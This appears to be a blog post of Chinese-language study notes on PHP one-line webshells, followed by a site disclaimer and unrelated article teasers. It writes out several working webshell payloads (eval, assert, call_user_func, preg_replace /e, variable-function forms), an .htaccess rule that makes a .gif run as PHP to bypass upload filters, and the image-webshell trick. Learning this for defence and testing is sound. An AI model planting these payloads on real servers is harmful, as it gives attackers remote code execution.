木馬學習記錄

一句話木馬是什么

一句話木馬就是僅需要一行代碼的木馬,很簡短且簡單,木馬的函數將會執行我們發送的命令

如何發送命令&發送的命令如何執行?

有三種方式:GET,POST,COOKIE,一句話木馬中用$_GET[' '] $_POST[' ']? $_COOKIE[' ' ]接收我們傳輸的數據,并把接收的數據傳遞給一句話木馬中執行命令的函數,進而執行命令。

根據前文,一句話木馬大多分為兩部分,一部分是可以執行代碼的部分,一部分是接收數據的部分

eval函數

POST方式

<?php eval($_POST['a']);?>

其中eval函數是執行命令的函數

$_POST['a']就是接收數據的部分,這是一個超全局變量,后文的$_GET也是一個超全局變量。其中的<?php ;?>表示是代碼語言,也就是將該代碼當做php代碼進行解析。eval 函數把字符串按照 PHP 代碼來計算,該字符串必須是合法的 PHP 代碼,且必須以分號結尾(也就是有php代碼的標識)。

<?php @eval($_POST['a']);?>

@符號: 錯誤控制符,即使出現錯誤,也無視出現的錯誤信息,繼續執行下邊的代碼。

GET方式

<?php @eval($_GET['a']);?>

與post方法類似,僅是上傳參數時的方式不同。

assert函數

<?php assert(@$_POST['a']); ?>

這是直接用assert寫的一句話木馬的。assert與eval類似,但是也存在區別。

eval與assert區別

當遇到可變函數時eval不能執行,就可以用assert

PHP 支持可變函數的概念。這意味著如果一個變量名后有圓括號,PHP 將尋找與變量的值同名的函數,并且嘗試執行它。可變函數可以用來實現包括回調函數,函數表在內的一些用途。

比如下面這個一句話木馬?

<?php $_POST['1']($_POST['2']); ?>

不能直接傳入post參數:1=eval&2=xxx來進行連接

但是如果是assert函數就可以:1=assert&2=xxx

連接方式

瀏覽器中

前文的post方式和get方式的連接方法是在瀏覽器中進行傳參:

post方式意思是將其中的密碼用post傳參的方法進行連接,這是在消息體中存放數據

get方式意思是將其中的密碼用get傳參的方法進行連接,這是在消息頭的url路徑中存放數據

這兩的意思其實差不多:就是用post或者get方法接受變量,將變量里的字符當作php代碼來執行。

用工具

工具有多種,比如蟻劍,中國菜刀,冰蝎,我主要用的是蟻劍

當我們上傳一個文件,上傳成功且知道路徑就可以

進入蟻劍的主界面,然后右鍵,選擇添加數據,編輯后顯示連接成功,然后點擊添加就可以訪問該網站目錄文件了。

綠色表示連接成功

紅色表示有錯誤

橙色表示沒錯誤但是未連接

一些特殊的php一句話木馬

沒有php標簽的

這里利用script替代標簽<??? ?>

<script language="php">@eval($_GET['b'])</script>

回調函數:

<?php
@call_user_func(assert,$_POST['a']);
?>

調用call_user_func()函數,其中第一個參數是函數,第二、三個參數是函數里的參數

call_user_func函數類似于一種特別的調用函數的方法,使用方法如下:

function a($b,$c)

{

echo $b;

echo $c;

}

call_user_func('a', "111","222");

call_user_func('a', "333","444");

//顯示 111 222 333 444

?>

preg_replace:

這個函數原本是利用正則表達式替換符合條件的字符串,但是這個函數有一個功能——可執行命令

這個函數的第一個參數是正則表達式,按照PHP的格式,表達式在兩個“/”之間。如果我們在這個表達式的末尾加上“e”,那么這個函數的第二個參數就會被當作代碼執行。

<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>

php變量函數:

<?php
$a = "eval";
$a(@$_POST['a']);
?>

該例子中第三行使用了變量函數$a,變量儲存了函數名eval,便可以直接用變量替代函數名

.htaccess文件

<FilesMatch "x.gif">
SetHandler application/x-httpd-php
AddHandler php5-script .gif        
</FilesMatch>

該文件的作用就是將某文件(在上面的代碼中也就是x.gif)當作php文件來解析,這樣可以實現后綴名的繞過

那么無論上傳任何文件,只要符合php語言代碼規范,就會被當做PHP執行。不符合規則,則報錯

圖片馬

故名思義,其本身是一個圖片,但是包含了木馬。最簡單的寫法就是自己弄一個文件大小較小的文件,然后用文本打開圖片,在末尾加上一句話木馬就寫成了一個圖片馬

比如這個:

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/74758.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/74758.shtml
英文地址,請注明出處:http://en.pswp.cn/web/74758.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

(C語言)單鏈表(1.0)(單鏈表教程)(數據結構,指針)

目錄 1. 什么是單鏈表&#xff1f; 2. 單鏈表的代碼表示 3. 單鏈表的基本操作 3.1 初始化鏈表 3.2 插入結點&#xff08;頭插法&#xff09; 3.3 插入結點&#xff08;尾插法&#xff09; 3.4 遍歷鏈表 4. 單鏈表的優缺點 代碼&#xff1a;*L(LinkList)malloc(sizeof(…

Sentinel-自定義資源實現流控和異常處理

目錄 使用SphU的API實現自定義資源 BlockException 使用SentinelResource注解定義資源 SentinelResourceAspect 使用Sentinel實現限流降級等效果通常需要先把需要保護的資源定義好&#xff0c;之后再基于定義好的資源為其配置限流降級等規則。 Sentinel對于主流框架&#…

Linux信號處理解析:從入門到實戰

Linux信號處理全解析&#xff1a;從入門到實戰 一、初識Linux信號&#xff1a;系統級的"緊急電話" 信號是什么&#xff1f; 信號是Linux系統中進程間通信的"緊急通知"&#xff0c;如同現實中的交通信號燈。當用戶按下CtrlC&#xff08;產生SIGINT信號&…

Java的Selenium的特殊元素操作與定位之select下拉框

如果頁面元素是一個下拉框&#xff0c;我們可以將此web元素封裝為Select對象 Select selectnew Select(WebElement element); Select對象常用api select.getOptions();//獲取所有選項select.selectBylndex(index);//根據索引選中對應的元素select.selectByValue(value);//選…

藍橋云客 刷題統計

刷題統計 問題描述 小明決定從下周一開始努力刷題準備藍橋杯競賽。他計劃周一至周五每天做 a 道題目&#xff0c;周六和周日每天做 b 道題目。請你幫小明計算&#xff0c;按照計劃他將在第幾天實現做題數大于等于 n 題&#xff1f; 輸入格式 輸入一行包含三個整數 a, b 和 …

三防筆記本有什么用 | 三防筆記本有什么特別

在現代社會&#xff0c;隨著科技的不斷進步&#xff0c;筆記本電腦已經成為人們工作和生活的重要工具。然而&#xff0c;在一些特殊的工作環境和極端條件下&#xff0c;普通筆記本電腦往往難以滿足需求。這時&#xff0c;三防筆記本以其獨特的設計和卓越的性能&#xff0c;成為…

智能體和RPA都需要程序思維,如何使用影刀的變量?

歡迎來到濤濤聊AI&#xff0c; 不管AI還是RPA&#xff0c;都需要用到編程思想才能完成批量工作。今天研究了下影刀的變量。 變量類型 根據變量值選擇相應的類型&#xff0c;可選擇任意一種影刀所支持的數據類型 變量值 指定變量中保存的值&#xff0c;會根據不同的類型設置…

【藍橋杯】算法筆記3

1. 最長上升子序列(LIS) 1.1. 題目 想象你有一排數字,比如:3, 1, 2, 1, 8, 5, 6 你要從中挑出一些數字,這些數字要滿足兩個條件: 你挑的數字的順序要和原來序列中的順序一致(不能打亂順序) 你挑的數字要一個比一個大(嚴格遞增) 問:最多能挑出多少個這樣的數字? …

性能測試之jmeter的基本使用

簡介 Jmeter是Apache的開源項目&#xff0c;基于Java開發&#xff0c;主要用于進行壓力測試。 優點&#xff1a;開源免費、支持多協議、輕量級、功能強大 官網&#xff1a;https://jmeter.apache.org/index.html 安裝 安裝步驟&#xff1a; 下載&#xff1a;進入jmeter的…

【NLP 面經 7、常見transformer面試題】

目錄 1. 為何使用多頭注意力機制&#xff1f; 2. Q和K使用不同權重矩陣的原因 3. 選擇點乘而非加法的原因 4. Attention進行scaled的原因 5. 對padding做mask操作 6. 多頭注意力降維原因 7. Transformer Encoder模塊簡介 8. 乘以embedding size的開方的意義 9. 位置編碼 10. 其…

【深度學習】CNN簡述

文章目錄 一、卷積神經網絡&#xff08;CNN&#xff09;二、CNN結構特性1. CNN 典型結構2. 局部連接3. 權重共享4.空間或時間上的次采樣 三、理解層面 一、卷積神經網絡&#xff08;CNN&#xff09; 卷積神經網絡(Convolutional Neural Network&#xff0c;CNN)是一種用于處理…

理解OSPF 特殊區域NSSA和各類LSA特點

本文基于上文 理解OSPF Stub區域和各類LSA特點 在理解了Stub區域之后&#xff0c;我們再來理解一下NSSA區域&#xff0c;NSSA區域用于需要引入少量外部路由&#xff0c;同時又需要保持Stub區域特性的情況 一、 網絡總拓撲圖 我們在R1上配置黑洞路由&#xff0c;來模擬NSSA區域…

論文閱讀筆記:Denoising Diffusion Implicit Models (5)

0、快速訪問 論文閱讀筆記&#xff1a;Denoising Diffusion Implicit Models &#xff08;1&#xff09; 論文閱讀筆記&#xff1a;Denoising Diffusion Implicit Models &#xff08;2&#xff09; 論文閱讀筆記&#xff1a;Denoising Diffusion Implicit Models &#xff08…

藍橋杯2024年第十五屆省賽真題-R 格式

題目鏈接&#xff1a; 思路&#xff1a; 通過數組模擬d的每一位&#xff0c;逐位進行計算&#xff0c;從而實現對d的精確處理。 代碼&#xff1a; #include<bits/stdc.h> #define int long long using namespace std; const int N 2020;int n; string s; vector<i…

深入探索 Linux Top 命令:15 個實用示例

在 Linux 系統管理中&#xff0c;top 命令是系統性能監控不可或缺的工具。它能夠實時顯示系統的 CPU、內存、進程等資源的使用情況&#xff0c;幫助您快速識別性能瓶頸和異常進程。本文將詳細介紹 15 個實用的 top 命令使用示例&#xff0c;旨在幫助您更高效地進行系統管理與優…

15.1linux設備樹下的platform驅動編寫(知識)_csdn

上一章我們詳細的講解了 Linux 下的驅動分離與分層&#xff0c;以及總線、設備和驅動這樣的驅動框架。基于總線、設備和驅動這樣的驅動框架&#xff0c; Linux 內核提出來 platform 這個虛擬總線&#xff0c;相應的也有 platform 設備和 platform 驅動。 上一章我們講解了傳統的…

Eclipse 視圖(View)

Eclipse 視圖(View) Eclipse 視圖(View)是 Eclipse 界面的重要組成部分,它提供了用戶交互的平臺,使得用戶可以通過圖形界面來編輯、調試、分析代碼等。在本文中,我們將深入探討 Eclipse 視圖的功能、使用方法以及它們在軟件開發中的作用。 1. 視圖的功能 Eclipse 視圖具…

Python解決“數字插入”問題

Python解決“數字插入”問題 問題描述測試樣例解題思路代碼 問題描述 小U手中有兩個數字 a 和 b。第一個數字是一個任意的正整數&#xff0c;而第二個數字是一個非負整數。她的任務是將第二個數字 b 插入到第一個數字 a 的某個位置&#xff0c;以形成一個最大的可能數字。 你…

ubuntu部署ollama+deepseek+open-webui

ubuntu部署ollamadeepseekopen-webui 全文-ubuntu部署ollamadeepseekopen-webui 大綱 Ollama部署 安裝Ollama&#xff1a;使用命令apt install curl和curl -fsSL https://ollama.com/install.sh | sh ollama-v網絡訪問配置&#xff1a;設置環境變量OLLAMA_HOST0.0.0.0:11434&…

Java的Selenium常用的元素操作API

click 觸發當前元素的點擊事件 clear() 清空內容 sendKeys(...) 往文本框一類元素中寫入內容 getTagName() 獲取元素的的標簽名 getAttribute(屬性名) 根據屬性名獲取元素屬性值 getText() 獲取當前元素的文本值 isDisplayed() 查看元素是否顯示 get(String url) 訪…